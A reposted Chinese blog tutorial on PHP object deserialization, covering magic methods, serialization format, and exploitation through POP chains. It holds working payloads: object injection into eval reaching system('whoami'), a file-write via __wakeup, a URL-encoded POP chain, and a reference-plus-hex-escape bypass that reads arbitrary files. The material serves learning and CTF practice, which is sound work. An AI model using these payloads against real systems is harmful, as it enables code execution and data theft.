转载于

学习与:3. php反序列化从入门到放弃(入门篇)

PHP中的类和对象

类用来定义属性、方法。对象直接把类进行实例化,直接拿来用,使用的时候交给类进行处理。
可以看以下示例:

<?php
// 定义一个 message 类
class message{
    // 定义类属性(类似于变量), public 代表可见(公有属性)
    public $name = "LQL";
    // 定义类方法(类似于函数)
    public function info(){
        // 可以理解为将 $name 的内容 LQL 取到这里用,后加拼接 I love you
        echo $this -> name.", I love you";
    }
}
$message = new message();   // 将 message() 类进行实例化
// 执行 message() 类中的 info() 方法
$message->info();

// 输入内容 LQL,I love you
?>


总结来下就是输出了LQL,I love you
首先定义message()类,在类中定义一个public类型的变量$name值为LQL
然后定义了一个类型为public的方法info(),作用是输出$name的内容加上I love you,
然后将类进行实例化,调用message()类中的info()方法,输入结果
这样就简单了解了php中的类。

魔法方法

为什么会被称为魔术方法,是因为在触发了某个时候之前或者之后魔术方法会自动调用,其他的方法需要手动调用才可以执行。PHP将这些以__开头的的类方法成为魔术方法,所以在定义类的时候,除了魔术方法,建议不要以__开头。
常见的方法

方法名 作用
__construct 在创建对象、初始化对象的时候调用,一般用户对变量的赋值
__destruct() 在对象被销毁、不在使用的时候被调用
__wakeup() 使用unserialize反序列化时触发,使用unserialize()函数是调用
__sleep() 当对象被seriablize()序列化的时候被调用
__toString() 当一个对象被当做一个字符串被调用,例如echo 打印对象就会别调用
__set() 对不可访问属性赋值时,就是调用时候属性的时候执行,必须有两个值,$key,$value
__get() 读取不可访问属性时调用
__call() 在对象上下文中访问不可访问方法是调用
__callstatic() 在在静态上下文中调用不可访问的方法时触发
__invoke() 当脚本尝试将对象调用为为函数是触发
__isset() 在不可访问的属性上调用isset()或empty()的时候调用
__unset() 在不可访问的属性上调用unset()的时候调用

示例

<?php

    class animal{
        private $name = 'caixukun';
        
        public function sleep(){
            echo "\n";
            echo $this -> name." is sleep.....";
        }
        public function __construct(){
            echo "\n";
            echo "调用了__construct方法";
            // __construct() 创建对象时调用
        }
        public function __wakeup(){
            echo "\n";
            echo "调用了__wakeup方法";
            // __wakeup() 反序列化时调用
        }
        // public function __sleep(){
        //     echo "\n";
        //     echo "调用了__sleep方法";
        //     // __sleep() 序列化时调用
        // }
        public function __destruct(){
            echo "\n";
            echo "调用了__destruct方法";
            // __destruct() 当对象被销毁,不在调用的时候执行
        }

        public function __set($key,$value){
            echo "\n";
            echo "调用了__set方法";
            // __set 在私有属性被赋值的时候调用
        }
        public function __get($value){
            echo "\n";
            echo "调用了__get方法";
        }
        public function __toString(){
            echo "\n";
            echo "调用了__toString方法";
            // __toString 在对象被当做一个字符串调用是执行
        }
    }
    // 创建对象,调用 __construct 方法
    $ji = new animal();
    echo "\n";
    var_dump($ji);

    // 赋值私有属性 name 为 hahaha ,调用 __set
    $ji->name = "hahaha";
    // 获取私有属性 name 值,调用 __get
    echo $ji->name;
    $ji->sleep();

    // 序列化对象
    echo "\n";
    $ser_ji = serialize($ji);
    echo $ser_ji;

    // 反序列化对象,调用 __wakeup 方法
    echo "\n";
    $unser_ji = unserialize($ser_ji);

    // 最后结束 调用 __destruct 方法
?>

输出的结果

序列化和反序列化

再开发中通常遇到把对象或者数组进行序号存储,反序列化输出的情况。特别是有些时候需要把数组存储到Mysql数据库中时,就需要经常对进行序列号操作
php序列化(serialize):将变量转换为可保存或传输的字符串的过程。
php反序列化(unserialize):在需要的时候,把转换的字符串变回原先的变量使用。
有了这两个过程,数据传输、存储方便很多,程序跟容易维护。
常见的php反序列化方式主要有 : serialize、unserialize、json_encode、json_decode。

序列化示例

<?php 
class object{
    public $name = "Jackson";
    private $age = "18";
    protected $height = "1.68";

    function info(){
        echo "name:".$this->name;
    }
}
$new = new object();
$serialize = serialize($new);
echo $serialize;
?>


变量在收到不同的修饰符(public、private、protected)修饰进行序列化时,序列化后变量的名称和长度会发生变化
public : 序列化后长度不变,正常输出
private : 会在变量前加入类的名称,长度比正常多2个字节
protected : 会在变量前加入*,长度比正常多3个字节
private和protected序列化时的规则

private ,序列化时: \x00 + [名称] + \x00
protected , 序列化时: \x00 + * + \x00 + [名称]

序列化中,字母的含义

a - array                    b - boolean  
d - double                   i - integer
o - common object            r - reference
s - string                   C - custom object
O - class                    N - null
R - pointer reference        U - unicode string

反序列化示例
一次上述的规则,进行反向复原。
使用上次的序列化的字符串,使用函数unserialize()进行反序列化处理,并将结果使用var_dump打印:

<?php
class zt{
    public $name = 'junglezt';
    private $age = '18';
    protected $height = '1.68';

    function test(){
        echo "年龄:".$this->name;
    }
}
$new = new zt();
$ser = serialize($new);
// echo $ser;

$un_ser = unserialize($ser);
print_r($un_ser);
?>


这样就了解了简单的反序列化

反序列化漏洞

在进行反序列化的过程中,功能就像是复原了一个对象,如果让攻击者可以操作反序列数据,那么攻击者就可是实现任意类对象的创建,如果一些类纯在自动触发的方法(魔术方法),那么就可以一次为跳板而实现命令的执行。
反序列化漏洞的条件是

1.代码中有可利用的类,并且类中有 __wekaup()、__sleep()、__destruct() 这类特殊条件下可以自动调用的函数。
2.unserialize()函数中的属性可以进行控制。

反序列化漏洞示例-1

<?php
show_source(__File__);
class A{
    public $test = "Junglezt";
    function __destruct(){
        @eval($this->test);
    }
}
$new = new A();
$ser = serialize($new);
// echo $ser;
$test_unser = unserialize($_POST['cmd']); // 反序列化同时触发_destruct函数

?>

show_source(__File__)会将代码显示到页面,定义了一个A类,public修饰$test变量默认值为Junglezt
定义了一个魔术方法__destruct,在程序结束是调用,同样在反序列化时也会触发调用
可以看到unserialize()函数中会接收POST传参的cmd值,这就照成了反序列化漏洞
测试
cmd=O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}

成功执行phpinfo();函数

O:1:"A"     为一个对象,名称长度为1,名称为A
:1:         拥有一个属性
{}          里面为属性
s:4:"test"  属性的类型为字符串,属性名长度为 4 ,属性名为 test
s:10:"phpinfo();"  属性的值得类型为字符串,属性值得长度为10,属性值得内容为 phpinfo();

所以这里也可以进行命令执行,使用system();函数
cmd=O:1:"A":1:{s:4:"test";s:17:"system('whoami');";}

成功执行system();函数

反序列化漏洞示例-2

<?php
class test{
    var $test = '123';
    function __wakeup(){
        $fp = fopen("flag.php","w");
        fwrite($fp,$this->test);
        fclose($fp);
    }
}
$a = $_GET['id'];
print_r($a);
echo "</br>";
$a_unser = unserialize($a);
require "flag.php";
?>   

在执行unserialize()反序列化的时候触发__wakeup魔术方法将$test值写入flag.php,最后包含flag.php的内容
所以只需要写入一段php代码即可,最后通过包含可以执行我们的php代码,
这里生成一段<?php phpinfo();?>序列化值

<?php 
class test{
	public $test = "<?php phpinfo();?>";
}
$new = new test();
$ser = serialize($new);
echo $ser;
?>


传入payload:id=O:4:"test":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

查看flag.php内容

PHP反序列化利用–POP链构造

上面的例子都是利用magic funtion魔术方法的自动调用,当危险代码存在普通方法中,就不能指望通过”自动调用”这种方法来达到目的了。
这时我们需要去寻找相同的函数名,把敏感函数和类联系在一起。一般来说在审计代码的时候要盯紧这些敏感函数,层层递进,最后构造出一个有杀伤力的payload
POP链简介
常用于上层语言构造特定调用链的方法,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。有时候反序列化一个对象时,由它调用的__wakeup()中有调用了其他对象,可以由它溯源而上,利用一次一次的方法,找到漏洞的位置。
PHP POP CHIAN
把魔术方法作为做最开始的位置,在魔术方法中调用其他函数,寻找相同名字的函数,在于其类中的函数进行关联,这就是POP链。此时类中的敏感属性都是可控的。当unserialize()传入的参数可控,就可以通过POP链达到利用特定漏洞的效果。

POP利用技巧

1.常用的方法

命令执行:exec()、passthru()、popen()、system()、shellexec()
文件操作:file_put_contents()、file_get_contents()、unlink()
代码执行:eval()、assert()、call_user_func()、preg_match()

2.反序列化中为了数据丢失,使用大写S支持字符串的编码。
PHP为了更加方便进行反序列化操作,可是使用大写S来执行字符串,使用之后就可以使用16进制代替字符串

O:2:"zt":1:{S:4:"\6e\61\6d\65";S:3:"\4C\51\4c";} 
可以等于下方
O:2:"zt":1:{s:4:"name";s:3:"LQL";}


3.浅copy
在PHP中如果使用&号对变量A的值指向变量B,这个时候就相当于浅拷贝当变量B改变是,变量A也会跟着改变。在被反序列化的对象某些变量被过滤了,但是其他变量可控的情况下、,就可以利用浅拷贝来进行绕过

$A = &$B;


4.利用PHP伪协议
利用PHP中的伪协议可以实现文件包含、命令执行、任意文件读取。

POP链构造例子–1

<?php
show_source(__File__);
class main {
    protected $ClassObj;

    function __construct() {
        $this->ClassObj = new normal();
    }

    function __destruct() {
        $this->ClassObj->action();
    }
}

class normal {
    function action() {
        echo "hello bmjoker";
    }
}

class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}
//$a = new main();
unserialize($_GET['a']);
?>

上面的代码可以看到,evil类中会执行eval()方法使我们可以执行命令,但是并没有魔术方法调用__evil类型。
在创建对象的时候__construct魔术方法实例化normal类,然后在反序列化和对象销毁的时候__destruct魔术方法执行normaal{}类中的action()函数,输出hello bmjoker
所以这里需要构造POP 链,使用__construct魔术方法调用实例化evil类,然后伪造evil类中data的值为phpinfo();,最后会调用__destruct魔术方法执行action()方法,执行eval()
构造POP链

<?php
class main{
	protected $ClassObj;
	function __construct(){
		$this->ClassObj = new evil();
	}
}
class evil{
	private $data = "phpinfo();";
}
$new = new main();
$ser = serialize($new);
echo $ser;
?>


最后我们的payload为:O:4:"main":1:{s:11:"*ClassObj";O:4:"evil":1:{s:10:"evildata";s:10:"phpinfo();";}}
但是不能直接进行传参,因为protected和private是受保护类,有%00的空字符
所以我们要进行url编码才能进行传参

O:4:"main":1:{s:11:"*ClassObj";O:4:"evil":1:{s:10:"evildata";s:10:"phpinfo();";}}
url编码后
O%3A4%3A%22main%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

url编码分析

将内容传参到a

POP链构造例子–2

<?php
show_source(__File__);
class MyFile {
    public $name;
    public $user;
    public function __construct($name, $user) {
        $this->name = $name;
        $this->user = $user; 
    }
    public function __toString(){
        return file_get_contents($this->name);
    }
    public function __wakeup(){
        if(stristr($this->name, "flag")!==False) 
            $this->name = "/etc/hostname";
        else
            $this->name = "/etc/passwd"; 
        if(isset($_GET['user'])) {
            $this->user = $_GET['user']; 
        }
    }
    public function __destruct() {
        echo $this; 
    }
}
if(isset($_GET['input'])){
    $input = $_GET['input']; 
    if(stristr($input, 'user')!==False){
        die('Hacker'); 
    } else {
        unserialize($input);
    }
}else { 
    highlight_file(__FILE__);
}

通过观察,这里代码有点多,我们一步一步来,这里最主要的是使用file_get_contents()方法获取了$this-name的值,进行一个任意文件的读取。
那么,想要执行file_get_contents()方法就需要调用魔术方法to_Strings(),那么就是在echo或者print输出之类的地方,追随到__destruct魔术方法,其中有echo $this,那么要调用__destruct需要就需要追随到unserialize()方法,执行unserialize()方法的同时会调用__wakeup()魔术方法。,在__wakeup()魔术方法中,判断$this-name的值中是否含有flag,如果含有flag,将$this-name赋值为/etc/hostname文件,如果不是也会将$this-name赋值为/etc/passwd,最后通过GET方法获取user的传参。

通过上述的分析,如果我们直接通过反序列化传入$this-name,不管是什么,都会对其进行赋值。而且只能通过GET方式获取user的值。
这里就需要用到浅拷贝$this->name = &$this-user,这样的方法,让$this-name的值随着$this-user的值改变。
最后在其赋值以后,传入user的值,就会进行浅拷贝,成功读取文件。
构造POP链

<?php  
class MyFile{
    /*
    给 $name 和 $user 赋值
    其实赋值,这里的值没有什么意义,后面会被进行替换 
    */
    public $name = "LQL";
    public $user = "";
}
// 实例化 MyFile 对象
$new = new MyFile();
// 进行浅拷贝
$new->name = &$new->user;
$ser = serialize($new);
echo $ser;
?>


这里和普通的序列化值不一样,在最后会有一个R:2,这里就是进行了浅拷贝。
传入payload进行测试
input=O:6:"MyFile":2:{s:4:"name";s:0:"";s:4:"user";R:2;}&user=D:/1.txt
&user=D:/1.txt,读取D:/1.txt的内容

读取失败了,观察会判断input传参中时候含有user,这里就可以使用S,使用16进制编码绕过
更改后的payload:input=O:6:"MyFile":2:{s:4:"name";s:0:"";S:4:"use\72";R:2;}&user=D:/1.txt
成功读取D:/1.txt的内容

未完待续

后续以后在学习,由于没有学过php,打算学一下PHP基础。

版权声明:本文为Junglezt的博客原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/Junglezt/p/16339019.html